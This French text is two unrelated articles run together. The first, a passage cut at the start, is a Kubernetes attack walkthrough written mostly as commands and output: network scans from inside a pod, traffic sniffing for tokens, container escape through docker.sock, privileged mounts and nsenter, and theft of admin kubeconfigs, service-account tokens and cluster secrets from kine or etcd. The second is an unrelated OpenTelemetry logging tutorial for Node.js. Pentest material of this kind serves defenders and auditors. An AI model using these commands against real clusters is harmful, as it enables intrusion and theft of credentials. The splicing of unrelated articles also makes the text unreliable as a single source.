 "kubernetes.io":{"namespace":"default",
   "node":{"name":"k3s-worker-01","uid":"c226c662-..."},
   "pod":{"name":"victim-pod","uid":"1053a053-..."},
   "serviceaccount":{"name":"default","uid":"bc71d50b-..."}},
 "sub":"system:serviceaccount:default:default"}

Le champ node.name (k3s-worker-01) identifie le nœud physique. Ce nom peut ensuite être résolu par DNS pour obtenir l'IP du nœud, utile pour la reconnaissance du plan de contrôle.

À partir de ces informations, on peut reconstituer deux plages cibles pour la suite :

• Réseau des pods : la plage s'infère depuis l'IP du pod et la table de routage (/proc/net/route). Ici 10.0.0.0/24.

• Réseau des services : les ClusterIP n'apparaissent pas dans les routes. On récupère la plage via KUBERNETES_SERVICE_HOST (10.43.0.1 → plage 10.43.0.0/16).

La différence est importante pour les scans : scanner la plage des pods cible des processus en cours d'exécution dans des conteneurs, scanner la plage des services cible des endpoints applicatifs stables exposés via kube-proxy.

Ecoute passive

Avant de lancer des scans actifs, l'écoute du trafic sur l'interface du pod est une première étape silencieuse. Elle permet d'identifier des services qui communiquent directement avec le pod, de détecter des credentials ou tokens en transit sur du HTTP non chiffré, et surtout de repérer des IPs qui n'apparaissent pas dans les variables d'environnement. Ces IPs deviennent ensuite des cibles prioritaires pour les scans approfondis.

# Connexions actives établies depuis ou vers le pod
$ ss -tnp
$ netstat -tnp

# Capturer tout le trafic sur l'interface principale
$ tcpdump -i eth0 -n

# Filtrer le trafic HTTP en clair : credentials, tokens, API calls
$ tcpdump -i eth0 -A -s 0 'tcp port 80 or tcp port 8080'

# Capturer pour analyse offline
$ tcpdump -i eth0 -w /tmp/cap.pcap

L'écoute passive est particulièrement intéressante dans les pods qui intègrent un sidecar Envoy ou Istio : le trafic entre services peut transiter en clair au niveau du proxy local, même si le transport est chiffré entre nœuds. Des secrets ou tokens peuvent ainsi apparaître en clair dans les trames capturées.

Découverte des services (ClusterIP)

Les informations sur le service CIDR sont récupérables depuis les variables d'environnement (KUBERNETES_SERVICE_HOST=10.43.0.1 indique une plage 10.43.0.0/16).

On scanne cette plage avec /dev/tcp puis on résout chaque IP trouvée via getent hosts . Ainsi, CoreDNS retourne le FQDN service.namespace.svc.cluster.local pour toute ClusterIP, ce qui donne le nom du service et son namespace en une seule requête.

# Scan d'un /24 du service CIDR avec reverse DNS
\( for c in \)(seq 1 254); do
    timeout 0.3 bash -c "echo > /dev/tcp/10.43.0.$c/443" 2>/dev/null \
        && getent hosts 10.43.0.$c
    timeout 0.3 bash -c "echo > /dev/tcp/10.43.0.$c/53" 2>/dev/null \
        && getent hosts 10.43.0.$c
done

10.43.0.1       kubernetes.default.svc.cluster.local
10.43.0.10      kube-dns.kube-system.svc.cluster.local

Le scan séquentiel d'un /24 prend environ 90 secondes. Pour couvrir le /16 complet, on parallélise avec xargs (présent dans tout conteneur avec coreutils) :

# Scan parallèle du /16 complet : 20 /24 en simultané
$ seq 0 255 | xargs -P20 -I{} sh -c '
  for c in $(seq 1 254); do
    for port in 53 80 443 5432 6379 8080 9090; do
      timeout 0.3 bash -c "echo > /dev/tcp/10.43.{}.\({c}/\){port}" 2>/dev/null \
          && echo "10.43.{}.\({c}:\){port}"
    done
  done
' | while read hit; do
  IP=\((echo \)hit | cut -d: -f1)
  getent hosts $IP 2>/dev/null
done | sort -u

10.43.0.1       kubernetes.default.svc.cluster.local
10.43.0.10      kube-dns.kube-system.svc.cluster.local
10.43.12.108    metrics-server.kube-system.svc.cluster.local
10.43.31.122    redis.default.svc.cluster.local
10.43.51.247    hubble-ui.kube-system.svc.cluster.local
10.43.65.9      hubble-relay.kube-system.svc.cluster.local
10.43.92.21     postgres.default.svc.cluster.local
10.43.116.209   hubble-peer.kube-system.svc.cluster.local
10.43.194.228   nginx.monitoring.svc.cluster.local
10.43.223.56    api-backend.default.svc.cluster.local
10.43.253.246   ingress-nginx-controller.ingress-nginx.svc.cluster.local

En une seule passe, on découvre les namespaces :

• kube-system

• monitoring

• ingress-nginx

• default

Avec l'ensemble des services actifs. Des services comme hubble-ui, metrics-server ou le contrôleur Ingress n'étaient pas visibles dans les variables d'environnement : ils apparaissent ici pour la première fois.

ℹ️ Par défaut, Kubernetes n'applique aucun isolement réseau entre les namespaces : un pod dans default peut contacter un service dans monitoring ou kube-system directement, sauf NetworkPolicy explicite.

Cette technique ne couvre que les services avec une ClusterIP. Les services headless (ClusterIP: None) n'apparaissent pas dans le scan, mais sont résolvables par nom DNS via le brute-force décrit plus bas.

Métriques CoreDNS (port 9153)

Le service kube-dns dans kube-system expose par défaut des métriques Prometheus sur le port 9153 sans authentification (le plugin prometheus :9153 est activé dans la Corefile standard de K3s et kubeadm). Ces métriques indiquent les plugins actifs dans CoreDNS, ce qui révèle la configuration DNS du cluster :

$ exec 3<>/dev/tcp/10.43.0.10/9153
$ echo -e "GET /metrics HTTP/1.0\r\nHost: 10.43.0.10\r\n\r\n" >&3
$ timeout 5 cat <&3 2>/dev/null | grep coredns_plugin_enabled
$ exec 3>&-

coredns_plugin_enabled{name="cache",...}       1
coredns_plugin_enabled{name="forward",...}     1
coredns_plugin_enabled{name="hosts",...}       1
coredns_plugin_enabled{name="kubernetes",...}  1
coredns_plugin_enabled{name="prometheus",...}  1

La présence du plugin hosts est un indicateur : K3s configure CoreDNS avec un plugin hosts qui mappe les noms des nœuds vers leurs IPs. Cela permet de résoudre les noms de nœuds obtenus depuis le JWT directement en IP :

# Le JWT révèle "node.name=k3s-worker-01"
$ getent hosts k3s-worker-01
10.25.11.201    k3s-worker-01

$ getent hosts k3s-worker-02
10.25.11.202    k3s-worker-02

$ getent hosts k3s-master
10.25.11.200    k3s-master

On a maintenant les IPs des nœuds. Le brute-force DNS permet ensuite de découvrir quels services tournent sur ces nœuds.

Brute-force DNS par noms de services

Le scan par IP ne couvre que les services avec une ClusterIP (plage 10.43.0.0/16). Les services headless (ClusterIP: None) n'ont pas d'IP dans cette plage : leur DNS résout directement vers les IPs des pods ou des nœuds, sans intermédiaire virtuel. Le brute-force DNS permet de les découvrir en testant des noms courants contre CoreDNS, qui résout les noms au format <service>.<namespace>.svc.cluster.local :

$ cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local localdomain
nameserver 10.43.0.10
options ndots:5

# Tester des services courants dans des namespaces courants
$ for svc in grafana prometheus kibana jenkins redis postgres mysql argo-cd vault; do
    for ns in default kube-system monitoring logging ci-cd staging production; do
        timeout 1 bash -c "echo > /dev/tcp/\(svc.\)ns.svc.cluster.local/80" 2>/dev/null \
            && echo "[+] \(svc.\)ns:80"
    done
done

Cette approche est moins exhaustive que le scan par IP + reverse DNS : elle ne trouve que les noms devinés. Mais elle ne nécessite que bash et fonctionne même quand le scan d'IP est trop lent (conteneur avec des limites de processus strictes).

Enumération des routes Ingress

Si le scan révèle un contrôleur Ingress (ingress-nginx-controller.ingress-nginx.svc.cluster.local dans notre cas), celui-ci fait du routage par hostname (header Host). Les routes configurées correspondent aux Ingress resources du cluster et pointent vers des services backend dans des namespaces potentiellement différents.

Ces hostnames ne sont pas dans le DNS interne du cluster : ils n'existent que dans la configuration du contrôleur. Ni les enregistrements PTR, ni les métriques Prometheus (désactivées par défaut sur nginx-ingress v1.9+), ni les certificats TLS (certificat fake par défaut) ne permettent de les énumérer de manière fiable sur une installation standard.

La seule technique fiable est le brute-force par header Host. Le contrôleur retourne 404 pour un hostname inconnu et 200, 301 ou 503 pour un hostname configuré :

$ INGRESS=10.43.253.246
$ for host in app admin grafana prometheus kibana dashboard api jenkins gitlab vault; do
    for domain in internal.company.com cluster.local company.io; do
        FULL="\({host}.\){domain}"
        exec 3<>/dev/tcp/$INGRESS/80
        echo -e "GET / HTTP/1.1\r\nHost: $FULL\r\nConnection: close\r\n\r\n" >&3
        CODE=$(timeout 1 head -1 <&3 2>/dev/null | cut -d" " -f2)
        exec 3>&-
        [ "\(CODE" != "404" ] && [ -n "\)CODE" ] && echo "[+] \(FULL -> HTTP \)CODE"
    done
done

[+] app.internal.company.com -> HTTP 503
[+] admin.internal.company.com -> HTTP 503
[+] grafana.internal.company.com -> HTTP 200

grafana.internal.company.com répond en HTTP 200 : le service est accessible. app et admin retournent un 503 (le backend est indisponible, mais la route Ingress existe). La difficulté est de deviner le domaine : on s'aide du contexte (noms de namespaces, variables d'environnement, nom de l'organisation dans le certificat CA du cluster).

Découverte des pods

Le réseau des pods (10.0.0.0/24 avec Cilium dans notre cas) est entièrement routable depuis l'intérieur du cluster, sauf NetworkPolicy en place. Scanner ce réseau complète la découverte des services : on y trouve les pods qui ne sont pas exposés par un Service (jobs, pods de debug, sidecars), ainsi que les ports internes non publiés (métriques applicatives, endpoints de debug, profiling). Contrairement aux ClusterIP, les IPs de pods n'ont pas d'enregistrements PTR DNS exploitables :

$ python3 -c "
import socket
from concurrent.futures import ThreadPoolExecutor

def probe(args):
    ip, port = args
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.3)
        r = s.connect_ex((ip, port))
        s.close()
        return f'{ip}:{port}' if r == 0 else None
    except:
        return None

ips  = [f'10.0.0.{i}' for i in range(1, 255)]
ports = [80, 443, 8080, 8443, 9090, 3000, 5000]
with ThreadPoolExecutor(max_workers=100) as ex:
    hits = [r for r in ex.map(probe, [(ip,p) for ip in ips for p in ports]) if r]
for h in hits:
    print(f'[+] {h}')
"

# Si nmap est disponible (image dev/debug)
$ nmap -p 80,443,8080,8443,9090,3000,5000 --open 10.0.0.0/24

Découverte des nœuds et du plan de contrôle

Le dernier réseau à explorer est celui des nœuds. Leurs IPs sont connues via les techniques précédentes : services headless de DaemonSets CNI, résolution DNS du nom de nœud obtenu depuis le JWT, ou simplement l'adresse du gateway CNI. Sur les nœuds, deux catégories de cibles : les composants du plan de contrôle (API server, Kubelet, etcd) et les NodePorts (plage 30000-32767), qui exposent des services sur tous les nœuds du cluster indépendamment du réseau des services.

# Tester les ports du plan de contrôle sur les nœuds connus
$ for node in 10.25.11.200 10.25.11.201 10.25.11.202; do
    for port in 2379 6443 10250 10255 10256; do
        timeout 1 bash -c "echo > /dev/tcp/\(node/\)port" 2>/dev/null \
            && echo "[+] \(node:\)port ouvert"
    done
done

[+] 10.25.11.200:6443 ouvert
[+] 10.25.11.200:10250 ouvert
[+] 10.25.11.201:10250 ouvert
[+] 10.25.11.202:10250 ouvert

Sur ce cluster K3s avec Cilium, seuls 6443 et 10250 répondent. Les ports présents varient selon la distribution : K3s intègre etcd (pas de 2379), Cilium remplace kube-proxy (pas de 10256).

Les NodePorts sont intéressants comme vecteur complémentaire : ce sont des services exposés directement sur les nœuds, souvent pour les accès externes (dashboards, APIs internes). Ils sont accessibles depuis n'importe quel pod sur n'importe quel nœud :

# Scan rapide de la plage NodePort sur un nœud
$ seq 30000 32767 | xargs -P20 -I{} bash -c \
    'timeout 0.5 bash -c "echo > /dev/tcp/10.25.11.200/{}" 2>/dev/null && echo "[+] 10.25.11.200:{}"'

Le port 10250 du Kubelet est particulièrement intéressant : si l'authentification anonyme est activée (--anonymous-auth=true), on peut lister les pods du nœud et exécuter des commandes dans les conteneurs en cours d'exécution sans credentials. Ce n'est pas le cas par défaut depuis Kubernetes 1.9, mais certains clusters legacy restent vulnérables.

# Kubelet API (10250) : si l'auth anonymous est activée
# Retourne HTTP 401 si auth requise, JSON si anonyme accepté
$ exec 3<>/dev/tcp/10.25.11.201/10250
$ echo -e "GET /pods HTTP/1.0\r\nHost: 10.25.11.201\r\n\r\n" >&3
$ timeout 3 head -1 <&3 2>/dev/null
$ exec 3>&-
# HTTP/1.0 401 Unauthorized   ← auth requise (situation normale)
# HTTP/1.0 200 OK             ← anonyme accepté (vulnérable)

Pour etcd, sans etcdctl ni certificat client, l'accès direct est rare sur les clusters modernes. Sur des clusters anciens (kubeadm pré-1.13 sans TLS) ou mal configurés, une requête HTTP simple suffit :

# etcd sans TLS : clusters legacy, certains setups de dev
$ exec 3<>/dev/tcp/10.25.11.200/2379
$ echo -e "GET /v2/keys/?recursive=true HTTP/1.0\r\n\r\n" >&3
$ timeout 3 cat <&3 2>/dev/null | head -3
$ exec 3>&-

L'objectif de toute cette reconnaissance est d'identifier des services vulnérables : une application web exploitable, une base de données sans authentification, un dashboard exposé. Chaque service compromis est un pivot potentiel pour récupérer des credentials, des tokens privilégiés, ou un accès à d'autres namespaces.

Sortir du conteneur

Si aucun service ne donne de prise, ou si on s'est latéralisé sur un autre pod via un service vulnérable, l'étape suivante est de sortir du conteneur pour atterrir sur le nœud et s'élever en privilèges : récupérer des tokens SA plus puissants, des kubeconfigs locaux (/root/.kube/config, /etc/kubernetes/admin.conf), ou accéder directement à etcd si le nœud est le master.

Identifier le runtime et le niveau de privilège

Avant de tenter une évasion, il faut déterminer le runtime de conteneur et le niveau de privilège effectif du pod. Les deux se lisent dans /proc sans aucun outil.

# Noyau Linux (version → vulnérable à Dirty Pipe, Dirty COW ?)
$ uname -r
6.1.0-43-cloud-amd64

# Runtime : le chemin des cgroups révèle containerd ou Docker
$ cat /proc/1/cgroup | head -3
0::/                              ← cgroupv2 (containerd/CRI-O)
12:memory:/docker/<id>            ← Docker legacy (cgroupv1)

# K3s spécifique : les mounts overlay révèlent le chemin containerd
$ grep overlay /proc/mounts | head -1
overlay / overlay rw,...,lowerdir=/var/lib/rancher/k3s/agent/containerd/...

# Niveau de privilège : CapEff dans /proc/1/status
$ grep CapEff /proc/1/status
CapEff: 00000000a80425fb   ← limité (pas CAP_SYS_ADMIN)
CapEff: 0000003fffffffff   ← privileged: true (toutes les capabilities)

Si toutes les capabilities sont activées (0000003fffffffff), le conteneur tourne en mode privilégié et l'évasion vers le nœud est triviale. Sinon, on cherche la présence de CAP_SYS_ADMIN, qui suffit pour s'évader via les cgroups.

Misconfigurations de déploiement

Certaines configurations de pod ouvrent une sortie directe vers le nœud sans exploiter de vulnérabilité.

docker.sock monté en volume

Si /var/run/docker.sock est accessible dans le conteneur, on contrôle le démon Docker du nœud. On peut créer un nouveau conteneur privilégié qui monte la racine du système hôte :

$ ls /var/run/docker.sock
/var/run/docker.sock

$ docker run -v /:/host --rm -it alpine chroot /host sh
# id
uid=0(root) gid=0(root)
# cat /etc/kubernetes/admin.conf

Conteneur privilégié

Un pod démarré avec privileged: true a accès à tous les périphériques du nœud. La vérification se fait via les capabilities du processus init du conteneur :

$ cat /proc/1/status | grep CapEff
CapEff: 0000003fffffffff   ← toutes les capabilities : conteneur privilégié

# Monter le disque du nœud et chroot dedans
$ fdisk -l
$ mkdir /mnt/host && mount /dev/vda1 /mnt/host
$ chroot /mnt/host bash
# hostname
node-01

hostPath et hostPID

Un pod avec un montage hostPath: / expose l'intégralité du système de fichiers hôte en lecture/écriture. Avec hostPID: true, on accède aux processus du nœud et on peut entrer dans leurs espaces de noms via nsenter :

# hostPath : accès direct au système de fichiers hôte via le point de montage
$ ls /host-root/etc/kubernetes/
admin.conf  manifests/  pki/

# hostPID + nsenter : entrer dans l'espace de noms du processus init du nœud
$ nsenter -t 1 -m -u -i -n -p -- bash
# hostname
node-01

CVE sur le runtime et le noyau

Indépendamment des misconfigurations, des vulnérabilités dans le runtime de conteneur ou le noyau Linux permettent de sortir d'un conteneur non privilégié. La version du noyau (uname -r) et du runtime (/proc/1/cgroup) collectées lors de l'identification initiale permettent de déterminer rapidement les CVE applicables.

Les CVE noyau (Dirty Pipe, Dirty COW) sont les plus dangereux : ils ne nécessitent aucune capability particulière et fonctionnent depuis n'importe quel conteneur. La version du noyau est vérifiable immédiatement :

$ uname -r
5.10.0-28-cloud-amd64   ← comparer avec les plages affectées ci-dessus

CVE sur les composants Kubernetes (IngressNightmare)

Des CVE ciblent aussi les composants Kubernetes et permettent une compromission du cluster directement depuis un pod. IngressNightmare (CVE-2025-1974) en est l'exemple le plus critique (CVSS 9.8) : une chaîne de vulnérabilités dans le Validating Admission Controller de nginx-ingress permet l'exécution de code sur le pod du contrôleur depuis n'importe quel pod du cluster, sans authentification. Le SA du contrôleur a par défaut accès en lecture a tous les Secrets de tous les namespaces, ce qui donne accès a l'ensemble des credentials du cluster. Versions affectées : nginx-ingress < 1.12.1 et < 1.11.5. Référence : Wiz Research - IngressNightmare

Après l'évasion : exploitation du nœud

Une fois sur le nœud (via misconfiguration ou CVE), l'objectif est de récupérer des credentials permettant d'accéder à l'API Kubernetes avec des droits élevés. Plusieurs sources sont disponibles immédiatement.

Kubeconfig et certificats

# K3s : kubeconfig admin directement utilisable
$ cat /etc/rancher/k3s/k3s.yaml
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTi...
    server: https://127.0.0.1:6443
  name: default
contexts:
- context:
    cluster: default
    user: default
  name: default
current-context: default
kind: Config
users:
- name: default
  user:
    client-certificate-data: LS0tLS1CRUdJTi...
    client-key-data: LS0tLS1CRUdJTi...

# Ce kubeconfig contient un certificat client system:admin → cluster-admin complet

# K3s : certificats TLS du cluster
$ ls /var/lib/rancher/k3s/server/tls/
client-admin.crt             client-controller.key         serving-kube-apiserver.crt
client-admin.key             client-kube-apiserver.crt     serving-kube-apiserver.key
client-auth-proxy.crt        client-kube-apiserver.key     server-ca.crt
client-auth-proxy.key        client-scheduler.crt          server-ca.key
client-ca.crt                client-scheduler.key          service.key
client-ca.key                client-supervisor.crt         ...

# kubeadm : kubeconfig admin
$ cat /etc/kubernetes/admin.conf

# kubeadm : certificats PKI
$ ls /etc/kubernetes/pki/
apiserver-kubelet-client.crt  apiserver-kubelet-client.key  ca.crt  ca.key  ...

Tokens de Service Accounts système

Sur le nœud, les tokens des SA des pods en cours d'exécution sont accessibles dans les volumes montés par le Kubelet. Certains SA système ont des droits étendus (CNI, operators, ingress-controller) :

# Lister les tokens SA montés dans les pods du nœud
$ find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token
/var/lib/kubelet/pods/e8de44cd-.../volumes/kubernetes.io~projected/kube-api-access-tflnq/token
/var/lib/kubelet/pods/1053a053-.../volumes/kubernetes.io~projected/kube-api-access-zz9g8/token
/var/lib/kubelet/pods/24786239-.../volumes/kubernetes.io~projected/kube-api-access-dkr9k/token

Chaque token est un JWT décodable immédiatement pour identifier le namespace, le SA et le pod :

# Décoder le JWT pour identifier le Service Account
\( TOKEN=\)(cat /var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token)

\( echo \)TOKEN | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
{... "kubernetes.io":{"namespace":"kube-system",
      "pod":{"name":"cilium-wqqnp"},
      "serviceaccount":{"name":"cilium"}} ...}

On identifie ainsi tous les SA actifs sur le nœud et on teste leurs droits :

# SA cilium : accès en lecture aux pods, services, endpoints, nodes, networkpolicies
\( kubectl auth can-i --list --token="\)TOKEN_CILIUM" --server=https://10.25.11.200:6443
Resources                                        Verbs
endpoints                                        [get list watch]
namespaces                                       [get list watch]
nodes                                            [get list watch]
pods                                             [get list watch]
services                                         [get list watch]
networkpolicies.networking.k8s.io                [get list watch]
...

# SA local-path-provisioner : accès CRUD aux pods, PV, PVC, nodes, storageclasses
\( kubectl auth can-i --list --token="\)TOKEN_LPP" --server=https://10.25.11.200:6443
Resources                                        Verbs
endpoints                                        [*]
persistentvolumes                                [*]
pods                                             [*]
configmaps                                       [get list watch]
nodes                                            [get list watch]
persistentvolumeclaims                           [get list watch]
pods/log                                         [get list watch]
storageclasses.storage.k8s.io                    [get list watch]
...

Le SA local-path-provisioner a des droits de création/suppression sur les pods et les PersistentVolumes : un attaquant peut l'utiliser pour déployer un pod privilégié avec un montage hostPath, ce qui donne un accès root sur n'importe quel nœud du cluster.

etcd (si nœud master)

Sur un nœud master, l'accès direct au datastore permet de lire tous les secrets du cluster en clair (sauf chiffrement at-rest activé). K3s utilise par défaut kine (un wrapper SQLite qui émule l'API etcd). La base est accessible en lecture directe :

# K3s : base SQLite kine
$ ls -la /var/lib/rancher/k3s/server/db/
total 14664
drwx------ 3 root root     4096 Feb 26 10:13 .
-rw-r--r-- 1 root root 10338304 Feb 27 13:40 state.db
-rw-r--r-- 1 root root    32768 Feb 27 13:40 state.db-shm
-rw-r--r-- 1 root root  4626792 Feb 27 13:41 state.db-wal
drwx------ 2 root root     4096 Feb 26 10:13 etcd

# Lister les secrets stockés dans la base (nécessite sqlite3)
$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
    "SELECT DISTINCT name FROM kine WHERE name LIKE '/registry/secrets%' ORDER BY name;"
/registry/secrets/ingress-nginx/ingress-nginx-admission
/registry/secrets/kube-system/cilium-ca
/registry/secrets/kube-system/hubble-relay-client-certs
/registry/secrets/kube-system/hubble-server-certs
/registry/secrets/kube-system/k3s-master.node-password.k3s
/registry/secrets/kube-system/k3s-serving
/registry/secrets/kube-system/k3s-worker-01.node-password.k3s
/registry/secrets/kube-system/k3s-worker-02.node-password.k3s
/registry/secrets/kube-system/sh.helm.release.v1.cilium.v1

# Lire la valeur d'un secret spécifique
$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
    "SELECT value FROM kine WHERE name='/registry/secrets/kube-system/cilium-ca' ORDER BY id DESC LIMIT 1;" | strings

Pour kubeadm, l'accès se fait via etcdctl avec les certificats locaux du master :

# kubeadm : accès via les certs locaux
$ ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
    --cert=/etc/kubernetes/pki/etcd/server.crt \
    --key=/etc/kubernetes/pki/etcd/server.key \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    get /registry/secrets --prefix --keys-only

Un dernier vecteur existe : se faire passer pour un nœud. Quand un nœud rejoint le cluster, il utilise un bootstrap token pour obtenir un certificat. Si un attaquant récupère ce token (stocké sur le nœud, ou accessible via un service cloud comme le WireServer d'Azure), il peut s'enregistrer comme nœud légitime et lire les secrets de tous les pods schedulés dessus. Synacktiv a démontré cette attaque sur AKS pour compromettre un cluster entier.

À ce stade, on dispose de credentials (kubeconfig admin, SA tokens à droits élevés, accès etcd direct, ou identité de nœud) permettant d'interagir avec l'API Kubernetes avec des privilèges. L'article suivant couvre l'exploitation de ces accès API : lecture de secrets, mouvement latéral entre namespaces, persistance, et prise de contrôle complète du cluster.

Cet article se focalise sur la mise en place d'un collecteur OpenTelemetry, et de l'instrumentation des logs applicatifs dans des applications Node.js, puis sur la mise en place de Loki et Grafana pour consulter les logs collectés par le collecteur.

Contexte

Rôle et définition

L'observabilité est la capacité de comprendre l'état d'un système ou d'une application informatique et d'y réagir (citation extraite du site de RedHat).

Les logs applicatifs sont un pilier de l'observabilité, au même titre que les traces HTTP et les métriques. Ils sont les messages générés par les applications lors de leur exécution, et contiennent des informations brutes — erreurs, états, événements — et constituent souvent la première source de diagnostic.

Pourquoi les logs sont essentiels ?

• Ils décrivent ce qui s’est passé à un moment donné.

• Ils aident à reconstituer une séquence d’événements.

• Ils sont indispensables pour comprendre des erreurs fonctionnelles ou applicatives.

Objectif de l'article

Ayant plusieurs services backend utilsant Node.js, et plus précisément Express ou Nest.js, je souhaite mutualiser la collecte des logs applicatifs de ces services, et pour y parvenir, je vais utiliser les technologies suivantes:

• l'API OpenTelemetry JavaScript / TypeScript, à intégrer directement dans le code de mes services

• un collecteur OpenTelemetry, qui assurera la mutualisation des logs de mes services

• des outils de monitoring: Loki et Grafana

NOTE : Alors que cet article décrit la mise en place de la mutualisation des logs, je souhaite également appliquer les mêmes principes pour les traces et les métriques, mais la description de leurs mises en place fera l'objet d'autres articles.

L'objectif en image:

Installation du collecteur OpenTelemetry

Rôle du collecteur

Le Collector agit comme un intermédiaire capable de :

• Recevoir des données de plusieurs applications (via des receivers)

• Les transformer ou les filtrer

• Les exporter vers différentes plateformes (via des exporters)

Les Receivers

Les receivers ont pour rôle de recevoir les données de télémétrie et constituent le point d’entrée des traces, métriques et logs dans l’écosystème OpenTelemetry, permettant ainsi de centraliser et d’unifier la collecte des données d’observabilité.

OpenTelemetry s’appuie largement sur le protocole OTLP (pour OpenTelemetry Protocol). Les receivers peuvent également supporter d’autres protocoles reconnus, ce qui garantit une forte interopérabilité avec les outils et infrastructures existants, mais j'utilise le protocole OTLP dans ma configuration.

Le protocole OTLP consiste en une spécification de formattage de données. Le transport de ces données peut être réalisé via les protocoles HTTP ou gRPC; j'utilise le transport HTTP dans mon infrastructure.

Les Exporters

Les exporters servent à envoyer les données collectées vers des systèmes externes. Ils permettent à OpenTelemetry de rester flexible et compatible avec de nombreux outils d’observabilité. Ici aussi, j'utilise le protocole OTLP, mais, comme dans le cas des receivers, d’autres protocoles peuvent être utilisés.

Installation

Nous créons d'abord un fichier docker-compose.yml qui contient la configuration pour déployer le collecteur OpenTelemetry sous forme de conteneur Docker:

services:
  open-telemetry-collector:
    image: otel/opentelemetry-collector
    volumes:
      - ./open-telemetry-collector-config.yaml:/etc/otelcol/config.yaml
    ports:
      - 4318:4318

Ici, le collecteur va écouter sur le port spécifique 4318; les services Node.js utiliseront donc ce port pour transmettre les logs via HTTP.

Avant de lancer le conteneur, nous créons un second fichier nommé open-telemetry-collector-config.yaml dans le même dossier que le fichier docker-compose.yml. Ce fichier permet de configurer le collecteur:

receivers:
  otlp:
    protocols:
      http:
        endpoint: 0.0.0.0:4318

exporters:
  debug:
    verbosity: detailed

service:
  pipelines:
    logs:
      receivers: [otlp]
      exporters: [debug]

On note que le collecteur est configuré pour avoir:

• un receiver qui écoute les requêtes HTTP sur le port 4318.

• un exporter de debug qui permet de vérifier la réception des logs

• un pipeline qui envoie à l'exporter les données reçues par le receiver

Enfin, nous lançons le conteneur:

docker compose up

Mise en place de l'API OpenTelemetry sur les services Node.js

Installation

J'installe les dépendances sur mon projet Node.js:

pnpm install --save @opentelemetry/api-logs @opentelemetry/sdk-logs @opentelemetry/exporter-logs-otlp-http @opentelemetry/resources @opentelemetry/semantic-conventions

NOTE : j'utilise la commande pnpm, mais npm ou yarn conviennent également.

Concepts

Au sens de la spécification OTLP, un log est un objet qui contient principalement un body et des attributes.

Dans l'exemple ci-dessous, nous allons créer les éléments suivants, qui ajoutent des attributes communs à tous les logs qui les implémentent :

• une resource, qui ajoute des attributes de haut niveau (ex: nom du service, environnement, ...)

• un scope, qui agit comme une instance du logger et qui ajoute aussi des attributes partagés (ex: section de l'application)

Le log que nous allons créer va donc utiliser une resource et un scope qui lui injecteront les attributes suivants:

Exemple d'implémentation

puis nous créons un fichier exemple-open-telemetry.js à la racine du projet. Cet exemple va créer un exporter OTLP qui est utilisé pour transmettre nos logs au collecteur

import { logs } from '@opentelemetry/api-logs';
import {
  LoggerProvider,
  BatchLogRecordProcessor,
} from '@opentelemetry/sdk-logs';
import { OTLPLogExporter } from '@opentelemetry/exporter-logs-otlp-http';
import { Resource } from '@opentelemetry/resources';
import { SEMRESATTRS_SERVICE_NAME } from '@opentelemetry/semantic-conventions';

// Création d'une `resource` (qui ajoute des attributs à chaque log)
const resource = new Resource({
  [SEMRESATTRS_SERVICE_NAME]: 'mon-service-nodejs',
  'service.version': '1.0.0',
  'deployment.environment': 'development',
});
const loggerProvider = new LoggerProvider({
  resource: resource,
});

// Création d'un exporter OTLP qui envoie les logs via HTTP sur le port 4318
const otlpExporter = new OTLPLogExporter({
  url: 'http://localhost:4318/v1/logs', // Modifier `localhost` pour le nom de domaine ou l'adresse IP du collecteur
  headers: {
    // Ajouter des headers d'authentification si nécessaire
    // 'Authorization': 'Bearer YOUR_TOKEN',
  },
});

// Utilisation de la fonctionnalité de batch:
// Plutôt qu'envoyer une requête HTTP par log,
// il est souvent préférable d'utiliser un traitement par lot 🚀
loggerProvider.addLogRecordProcessor(
  new BatchLogRecordProcessor(otlpExporter, {
    maxQueueSize: 2048,
    maxExportBatchSize: 512,
    scheduledDelayMillis: 5000,
  })
);

// Déclaration del'instance du logger
// Cette instance est considérée comme le `scope` (qui ajoute des attributs à chaque log)
logs.setGlobalLoggerProvider(loggerProvider);
const logger = logs.getLogger('logger.section', 'http-controller');

// Envoi du 1er log !! 😀
// (Ici, un log typique d'application Express ou Nest.js)
// Il implémente la structure OTLP à envoyer au collecteur
logger.emit({
  severityText: 'INFO',
  body: 'Requete entrante',
  attributes: {
    'http.method': 'GET',
    'http.url': '/api/users',
    'http.status_code': 200,
  },
});

// Extinction du logger lorsque le traitement est terminé
setTimeout(async () => {
  console.log('Fermeture...');
  await loggerProvider.shutdown();
  console.log('Les logs ont été exportés !!');
}, 2000);

Puis nous exécutons le script:

node exemple-open-telemetry.js

Vérification de fonctionnement

Nous allons vérifier que le collecteur a bien reçu la donnée OTLP de notre log applicatif.

D'abord, j'ai besoin de connaître le nom de notre conteneur Docker:

docker ps

Une liste des conteneurs actifs va être affichée; celui que nous cherchons dans cette liste utilise l'image otel/opentelemetry-collector, ce qui nous permet de trouver son nom en fin de ligne : setup-open-telemetry-collector-1.

Grâce à ce nom, nous pouvons afficher les logs du collecteur (de logs 🙄):

docker logs setup-open-telemetry-collector-1

et nous voyons bien dans les informations en retour que notre log a été reçu correctement 🎉 :

2026-03-23T10:29:01.917Z        info    ResourceLog #0
Resource SchemaURL:
Resource attributes:
     -> service.name: Str(mon-service-nodejs)
     -> telemetry.sdk.language: Str(nodejs)
     -> telemetry.sdk.name: Str(opentelemetry)
     -> telemetry.sdk.version: Str(1.23.0)
     -> service.version: Str(1.0.0)
     -> deployment.environment: Str(development)
ScopeLogs #0
ScopeLogs SchemaURL:
InstrumentationScope logger.section http-controller
LogRecord #0
ObservedTimestamp: 2026-03-23 10:28:59.901 +0000 UTC
Timestamp: 2026-03-23 10:28:59.901 +0000 UTC
SeverityText: INFO
SeverityNumber: Unspecified(0)
Body: Str(Requete entrante)
Attributes:
     -> http.method: Str(GET)
